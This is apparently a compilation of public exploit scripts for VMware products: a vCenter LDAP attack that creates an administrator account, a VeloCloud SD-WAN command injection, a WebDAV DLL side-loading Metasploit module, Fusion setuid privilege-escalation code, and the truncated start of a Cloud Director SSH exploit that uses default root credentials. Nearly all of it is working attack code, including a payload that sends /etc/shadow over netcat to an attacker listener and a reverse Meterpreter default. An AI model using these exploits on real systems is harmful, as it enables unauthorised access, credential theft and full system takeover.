    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)

def buildModifyUserPacket(sUser):
    sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode())
    sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local')
    sMember = binascii.hexlify(b'member')
    ## Packet Construction
    sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN
    sPacket = getLengthPrefix(sPacket, b'31') + sPacket
    sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket
    sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    sPacket = getLengthPrefix(sCN, b'04') + sCN + sPacket
    sPacket = getLengthPrefix(sPacket, b'02010366') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)

def performBind(s):
    ## Trying to bind, fails, but necessary (even fails when using correct credentials)
    dPacket = buildBindRequestPacket('Administrator@vsphere.local','www.IC4.be')
    s.send(dPacket)
    sResponse = s.recv(1024)
    try:
        sResponse = sResponse.split(b'\x04\x00')[0][-1:]
        sCode = binascii.hexlify(sResponse).decode()
        if sCode == '31': print('[+] Ok, service reachable, continuing')
        else: print('[-] Something went wrong')
    except:
        pass
    return sCode

def performUserAdd(s, sUser, sPass):
    dPacket = buildUserCreatePacket(sUser,sPass)
    s.send(dPacket)
    sResponse = s.recv(1024)
    try:
        sCode = sResponse.split(b'\x04\x00')[0][-1:]
        sMessage = sResponse.split(b'\x04\x00')[1]
        if sCode == b'\x00':
            print('[+] Success! User ' + sUser + '@vsphere.local added with password ' + sPass)
        elif sCode == b'\x32':
            print('[-] Error, this host is not vulnerable (insufficientAccessRights)')
        else:
            if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
            else: sMessage = sMessage[2:].decode()
            print('[-] Error, user not added, message received: ' + sMessage)
    except:
        pass
    return sCode
    

def performUserMod(s, sUser, verbose = True):
    dPacket = buildModifyUserPacket(sUser)
    s.send(dPacket)
    sResponse = s.recv(1024)
    try:
        sCode = sResponse.split(b'\x04\x00')[0][-1:]
        sMessage = sResponse.split(b'\x04\x00')[1]
        if sCode == b'\x00':
            if verbose: print('[+] User modification success (if the above is OK).')
        else:
            if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
            else: sMessage = sMessage[2:].decode()
            if verbose: print('[-] Error during modification, message received: ' + sMessage)
    except:
        pass
    return sCode, sMessage

def performUnbind(s):
    try: s.send(b'\x30\x05\x02\x01\x04\x42\x00')
    except: pass

def main():
    global _sIP, _iPORT, _iTIMEOUT
    _sUSER = 'user_' + randomString(6)
    _sPASS = randomString(8) + '_2020'
    bAdduser = False
    if len(sys.argv) == 1:
        print('[!] No arguments found: python3 CVE-2020-3592.py <dstIP> [<newUsername>] [<newPassword>]')
        print('    Example: ./CVE-2020-3592.py ' + _sIP + ' ' + _sUSER + ' ' + _sPASS)
        print('    Leave username & password empty for a vulnerability check')
        print('    Watch out for vCenter/LDAP password requirements, leave empty for random password')
        print('    But for now, I will ask questions')
        sAnswer = input('[?] Please enter the vCenter IP address [' + _sIP + ']: ')
        if not sAnswer == '': _sIP = sAnswer
        sAnswer = input('[?] Want to perform a check only? [Y/n]: ')
        if sAnswer.lower() == 'n': bAdduser = True
        if bAdduser:
            sAnswer = input('[?] Please enter the new username to add [' + _sUSER + ']: ')
            if not sAnswer == '': _sUSER = sAnswer
            sAnswer = input('[?] Please enter the new password for this user [' + _sPASS + ']: ')
            if not sAnswer == '': _sPASS = sAnswer
    else:
        _sIP = sys.argv[1]
        if len(sys.argv) >= 3:
            _sUSER = sys.argv[2]
            bAdduser = True
        if len(sys.argv) >= 4: _sPASS = sys.argv[3]

    ## MAIN
    print('')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(_iTIMEOUT)
    try:
        s.connect((_sIP,_iPORT))
    except:
        print('[-] Error: Host ' + _sIP + ':' + str(_iPORT) + ' not reachable')
        sys.exit(1)

    performBind(s)

    if bAdduser:
        sCode = performUserAdd(s, _sUSER, _sPASS)

    if not bAdduser:
        print('[!] Checking vulnerability')
        sCode, sMessage = performUserMod(s, 'Administrator', False)
        if sCode == b'\x32': print('[-] This host is not vulnerable, message: ' + sMessage)
        else: print('[+] This host is vulnerable!')
    else:
        sCode = performUserMod(s, _sUSER)
    
    performUnbind(s)
    
    s.close()


if __name__ == "__main__":
    main()
            
#!/usr/bin/env python
 
# Exploit Title: Unauthenticated Command Injection vulnerability in VMware NSX SD-WAN by VeloCloud
# Date: 2018-06-29
# Exploit Author: paragonsec @ Critical Start
# Credit: Brian Sullivan from Tevora and Section 8 @ Critical Start
# Vendor Homepage: https://www.vmware.com
# Security Advisory: https://www.vmware.com/security/advisories/VMSA-2018-0011.html
# Version: 3.1.1 
# CVE: CVE-2018-6961
 
import argparse
import requests
import sys
import collections
 
'''
This script will return execute whatever payload you placed within it. 
Keep in mind that SD-WAN is running a slimmed down Linux version so obtaining a reverse shell isn't as simple as nc -e /bin/bash blah blah
The command within this script will send stdout of commands to your netcat listener. Feel free to change :)
'''

#Colors
OKRED = '\033[91m'
OKGREEN = '\033[92m'
ENDC = '\033[0m'

parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Remote Host")
parser.add_argument("--source", help = "Victim WAN Interface (e.g ge1, ge2)")
parser.add_argument('--lhost', help = 'Local Host listener')
parser.add_argument('--lport', help = 'Local Port listener')
parser.add_argument('--func', help = 'Function to abuse (e.g traceroute, ping, dns)')
args = parser.parse_args()

# Check to ensure at least one argument has been passed
if len(sys.argv)==1:
    parser.print_help(sys.stderr)
    sys.exit(1)

rhost = args.rhost
source = args.source
lhost = args.lhost
lport = args.lport
func = args.func

# Payload to be sent to the victim. Change to whatever you like!
# This payload will cat /etc/passwd from fictim and pipe it into a netcat connection to your listener giving you the contents of /etc/passwd
payload = "$(cat /etc/shadow |nc " + lhost + " " + lport + ")"

exploit_url = "http://" + rhost + "/scripts/ajaxPortal.lua"
 
headers = [
    ('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
    ('Accept', 'application/json, text/javascript, */*; q=0.01'),
    ('Accept-Language', 'en-US,en;q=0.5'),
    ('Accept-Encoding', 'gzip, deflate'),
    ('Referer','http://' + rhost + '/'),
    ('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8'),
    ('X-Requested-With', 'XMLHttpRequest'),
    ('Cookie', 'culture=en-us'),
    ('Connection', 'close')
]
 
# probably not necessary but did it anyways
headers = collections.OrderedDict(headers)
 
# Setting up POST body parameters
if func == 'traceroute':
    body = "destination=8.8.8.8" + payload + "&source=" + source + "&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic"
elif func == 'dns':
    body = "name=google.com" + payload + "&test=DNS_TEST&requestTimeout=90&auth_token=&_cmd=run_diagnostic"
else:
    body = "destination=8.8.8.8" + payload + "&source=" + source + "&test=BASIC_PING&requestTimeout=90&auth_token=&_cmd=run_diagnostic"

print(OKGREEN + "Author: " + ENDC + "paragonsec @ Critical Start (https://www.criticalstart.com)")
print(OKGREEN + "Credits: " + ENDC + "Brian Sullivan @ Tevora and Section 8 team @ Critical Start")
print(OKGREEN + "CVE: " + ENDC + "2018-6961")
print(OKGREEN + "Description: " + ENDC + "Multiple Unauthenticated Command Injection Vulnerabilities in VeloCloud SD-WAN GUI Application\n")
	
print(OKGREEN + "[+]" + ENDC + "Running exploit...")

s = requests.Session()

req = requests.post(exploit_url, headers=headers, data=body)
if "UNKNOWN_COMMAND" not in req.text:
    print(OKGREEN + "[+]" + ENDC + "Exploit worked. Check listener!")
else:
    print(OKRED + "[!]" + ENDC + "Exploit failed. You lose!")
            
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector',
      'Description'    => %q{
      A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
      a component of VMware Tools. This issue can be exploited by luring a victim into
      opening a document from the attacker's share. An attacker can exploit this issue to
      execute arbitrary code with the privileges of the target user. This can potentially
      result in the attacker taking complete control of the affected system. If the WebDAV
      Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
      },
      'Author'         => 'Yorick Koster',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2016-5330'],
          ['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],
          ['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        => { 'Space' => 2048, },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows x64', {'Arch' => ARCH_X64,} ],
          [ 'Windows x86', {'Arch' => ARCH_X86,} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Aug 5 2016',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
        OptString.new('URIPATH',   [ true, "The URI to use (do not change)", "/" ]),
        OptString.new('BASENAME',  [ true, "The base name for the docx file", "Document1" ]),
        OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ])
      ], self.class)

    # no SSL
    deregister_options('SSL', 'SSLVersion', 'SSLCert')
  end


  def on_request_uri(cli, request)
    case request.method
    when 'OPTIONS'
      process_options(cli, request)
    when 'PROPFIND'
      process_propfind(cli, request)
    when 'GET'
      process_get(cli, request)
    else
      print_status("#{request.method} => 404 (#{request.uri})")
      resp = create_response(404, "Not Found")
      resp.body = ""
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
    end
  end


  def process_get(cli, request)
    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    webdav = "\\\\#{myhost}\\"

    if (request.uri =~ /vmhgfs\.dll$/i)
      print_status("GET => DLL Payload (#{request.uri})")
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    if (request.uri =~ /\.docx$/i)
      print_status("GET => DOCX (#{request.uri})")
      send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
      return
    end

    if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
      print_status("GET => REDIRECT (#{request.uri})")
      resp = create_response(200, "OK")
      resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
      return
    end

    print_status("GET => 404 (#{request.uri})")
    resp = create_response(404, "Not Found")
    resp.body = ""
    cli.send_response(resp)
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    print_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }
    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    print_status("PROPFIND #{path}")
    body = ''

    my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    my_uri    = "http://#{my_host}/"

    if path !~ /\/$/

      if blacklisted_path?(path)
        print_status "PROPFIND => 404 (#{path})"
        resp = create_response(404, "Not Found")
        resp.body = ""
        cli.send_response(resp)
        return
      end

      if path.index(".")
        print_status "PROPFIND => 207 File (#{path})"
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
        return
      else
        print_status "PROPFIND => 301 (#{path})"
        resp = create_response(301, "Moved")
        resp["Location"] = path + "/"
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      end
    end

    print_status "PROPFIND => 207 Directory (#{path})"
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|

    if request["Depth"].to_i > 0
      trail = path.split("/")
      trail.shift
      case trail.length
      when 0
        body << generate_shares(path)
      when 1
        body << generate_files(path)
      end
    else
      print_status "PROPFIND => 207 Top-Level Directory"
    end

    body << "</D:multistatus>"

    body.gsub!(/\t/, '')

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml; charset="utf8"'
    cli.send_response(resp)
  end

  def generate_shares(path)
    share_name = datastore['SHARENAME']
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  end

  def generate_files(path)
    trail = path.split("/")
    return "" if trail.length < 2

    %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{datastore['BASENAME']}.docx</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  end

  def gen_timestamp(ttype=nil)
    ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
  end

  def gen_datestamp(ttype=nil)
    ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
  end

  # This method rejects requests that are known to break exploitation
  def blacklisted_path?(uri)
    return true if uri =~ /\.exe/i
    return true if uri =~ /\.(config|manifest)/i
    return true if uri =~ /desktop\.ini/i
    return true if uri =~ /lib.*\.dll/i
    return true if uri =~ /\.tmp$/i
    return true if uri =~ /(pcap|packet)\.dll/i
    false
  end

  def exploit

    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

    @exploit_unc  = "\\\\#{myhost}\\"

    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")

    super
  end
end
            
# Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation
# Date: 2020-03-17
# Exploit Author: Rich Mirch
# Vendor Homepage: https://www.vmware.com/products/fusion.html
# Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html
# Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg
# Versions:
# VMware Fusion Professional 11.5.1 (15018442)
# VMware Fusion Professional 11.5.2 (15794494)
#
# Tested on: macOS 10.14.6
# CVE : CVE-2020-3950
# Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh
#
#
#!/bin/bash
echo "CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch"

mkdir -p ~/a/b/c
mkdir -p ~/Contents/Library/services

cat > ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service <<EOF
#!/usr/bin/python
import os
os.setuid(0)
os.system("cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot");
EOF

chmod 755 ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service

cd ~/a/b/c
ln "/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service" . 2>/dev/null
"${PWD}/Open VMware USB Arbitrator Service" >/dev/null 2>/dev/null &
p=$!
echo "Sleeping for 5 seconds"
sleep 5
kill ${p?}
wait

echo "Sleeping for 7 seconds"
sleep 7

$HOME/.woot -p
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::OSX::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',
        'Description'    => %q(
          This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.
          The Open VMware USB Arbitrator Service can be launched outide of its standard path
          which allows loading of an attacker controlled binary.  By creating a payload in the
          user home directory in a specific folder, and creating a hard link to the 'Open VMware
          USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload
          with an effective UID of 0.
          @jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.
          Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.
        ),
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die', # msf module
            'Dhanesh Kizhakkinan', # discovery
            'Rich Mirch', # edb module
            'jeffball <jeffball@dc949.org>', # 11.5.3 exploit
            'grimm'
          ],
        'Platform'       => [ 'osx' ],
        'Arch'           => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        => [[ 'Auto', {} ]],
        'Privileged'     => true,
        'References'     =>
          [
            [ 'CVE', '2020-3950' ],
            [ 'EDB', '48235' ],
            [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],
            [ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ],
            [ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]
          ],
        'DisclosureDate' => 'Mar 17 2020',
        'DefaultOptions' =>
          {
            'PAYLOAD'    => 'osx/x64/meterpreter_reverse_tcp',
            'WfsDelay'   => 15
          }
      )
    )

    register_options [
      OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])
    ]

    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ]
  end

  def open_usb_service
    'Open VMware USB Arbitrator Service'
  end

  def usb_service
    'VMware USB Arbitrator Service'
  end

  def get_home_dir
    home = cmd_exec 'echo ~'
    if home.blank?
      fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'
    end
    home
  end

  def content_dir
    "#{get_home_dir}/Contents"
  end

  def base_dir
    "#{content_dir}/Library/services/"
  end

  def kill_process(executable)
    pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}')
    cmd_exec pid_kill
  end

  def get_version
    # Thanks to @ddouhine on github for this answer!
    version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString"
    /=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2
    if version_raw.blank?
      fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version.  Set ForceExploit to override.'
    end
    Gem::Version.new(version)
  end

  def pre_11_5_3
    # Upload payload executable & chmod
    payload_filename = "#{base_dir}#{usb_service}"
    print_status "Uploading Payload: #{payload_filename}"
    write_file payload_filename, generate_payload_exe
    chmod payload_filename, 0o755
    register_file_for_cleanup payload_filename

    # create folder structure and hard link to the original binary
    root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
    link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
    cmd_exec "mkdir -p #{link_folder}"
    cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
    print_status "Created folder (#{link_folder}) and link"

    print_status 'Starting USB Service (5 sec pause)'
    # XXX: The ; used by cmd_exec will interfere with &, so pad it with :
    cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"
    Rex.sleep 5 # give time for the service to execute our payload
    print_status 'Killing service'
    cmd_exec "pkill '#{open_usb_service}'"
    print_status "Deleting #{root_link_folder}"
    rm_rf root_link_folder
  end

  def exactly_11_5_3
    # Upload payload executable & chmod
    payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    print_status "Uploading Payload to #{payload_name}"
    write_file payload_name, generate_payload_exe
    chmod payload_name, 0o755
    #create race with codesign check
    root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
    link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
    print_status 'Uploading race condition executable.'
    race = <<~EOF
      #!/bin/sh
      while [ "1" = "1" ]; do
          ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'
          ln -f '#{payload_name}' '#{base_dir}#{usb_service}'
      done
    EOF
    racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx racer_name, race
    register_file_for_cleanup racer_name
    register_dirs_for_cleanup root_link_folder
    # create the hard link
    print_status "Creating folder (#{link_folder}) and link"
    cmd_exec "mkdir -p #{link_folder}"
    cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"

    # create the launcher to start the racer and keep launching our service to attempt to win
    launcher = <<~EOF
      #!/bin/sh
      #{racer_name} &
      for i in {1..#{datastore['MAXATTEMPTS']}}
      do
          echo "attempt $i";
          '#{link_folder}#{open_usb_service}'
      done
    EOF
    runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx runner_name, launcher
    register_file_for_cleanup runner_name

    print_status "Launching Exploit #{runner_name} (sleeping 15sec)"
    # XXX: The ; used by cmd_exec will interfere with &, so pad it with :
    results = cmd_exec "#{runner_name} & :"
    Rex.sleep 15 # give time for the service to execute our payload
    vprint_status results

    print_status 'Exploit Finished, killing scripts.'
    kill_process racer_name
    kill_process runner_name # in theory should be killed already but just in case
    kill_process "'#{link_folder}#{open_usb_service}'"
    # kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.
    # above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error
    # rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder
  end

  def check
    unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}"
      print_bad "'#{open_usb_service}' binary missing"
      return CheckCode::Safe
    end
    version = get_version
    if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3'))
      vprint_good "Vmware Fusion #{version} is exploitable"
    else
      print_bad "VMware Fusion #{version} is NOT exploitable"
      return CheckCode::Safe
    end
    CheckCode::Appears
  end

  def exploit
    # First check the system is vulnerable, or the user wants to run regardless
    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    # Check if we're already root
    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
      end
    end

    # Make sure we can write our payload to the remote system
    rm_rf content_dir # live dangerously.
    if directory? content_dir
      fail_with Filure::BadConfig, "#{content_dir} exists. Unable to delete automatically.  Please delete or exploit will fail."
    end
    cmd_exec "mkdir -p #{base_dir}"
    register_dirs_for_cleanup content_dir
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable."
    end

    version = get_version
    if version == Gem::Version.new('11.5.3')
      vprint_status 'Using 11.5.3 exploit'
      exactly_11_5_3
    elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2'))
      vprint_status 'Using pre-11.5.3 exploit'
      pre_11_5_3
    end
    rm_rf content_dir # live dangerously.
  end
end
            
# Exploit Title: [VMware Cloud Director | Bypass identity verification]
# Google Dork: [non]
# Date: [12/06/2023]
# Exploit Author: [Abdualhadi khalifa](https://twitter.com/absholi_ly)
# Version: [10.5]
# CVE : [CVE-2023-34060]
import requests
import paramiko
import subprocess
import socket
import argparse
import threading

# Define a function to check if a port is open
def is_port_open(ip, port):
    # Create a socket object
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # Set the timeout to 1 second
    s.settimeout(1)
    # Try to connect to the port
    try:
        s.connect((ip, port))
        # The port is open
        return True
    except:
        # The port is closed
        return False
    finally:
        # Close the socket
        s.close()

# Define a function to exploit a vulnerable device
def exploit_device(ip, port, username, password, command):
    # Create a ssh client object
    client = paramiko.SSHClient()
    # Set the policy to accept any host key
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    # Connect to the target using the credentials
    client.connect(ip, port, "root", "vmware", allow_agent=False, look_for_keys=False)
    # Execute the command and get the output
    stdin, stdout, stderr = client.exec_command(command)
    # Print the output
    print(f"The output of the command {command} on the device {ip}:{port} is: {stdout.read().decode()}")
    # Close the ssh connection
    client.close()


# Parse the arguments from the user
parser = argparse.ArgumentParser(description="A Python program to detect and exploit the CVE-2023-34060 vulnerability in VMware Cloud Director")
parser.add_argument("ip", help="The target IP address")
parser.add_argument("-p", "--ports", nargs="+", type=int, default=[22, 5480], help="The target ports to check")
parser.add_argument("-u", "--username", default="root", help="The username for ssh")
parser.add_argument("-w", "--password", default="vmware", help="The password for ssh")
parser.add_argument("-c", "--command", default="hostname", help="The command to execute on the vulnerable devices")
args = parser.parse_args()

# Loop through the ports and check for the vulnerability
for port in args.ports:
    # Check if the port is open
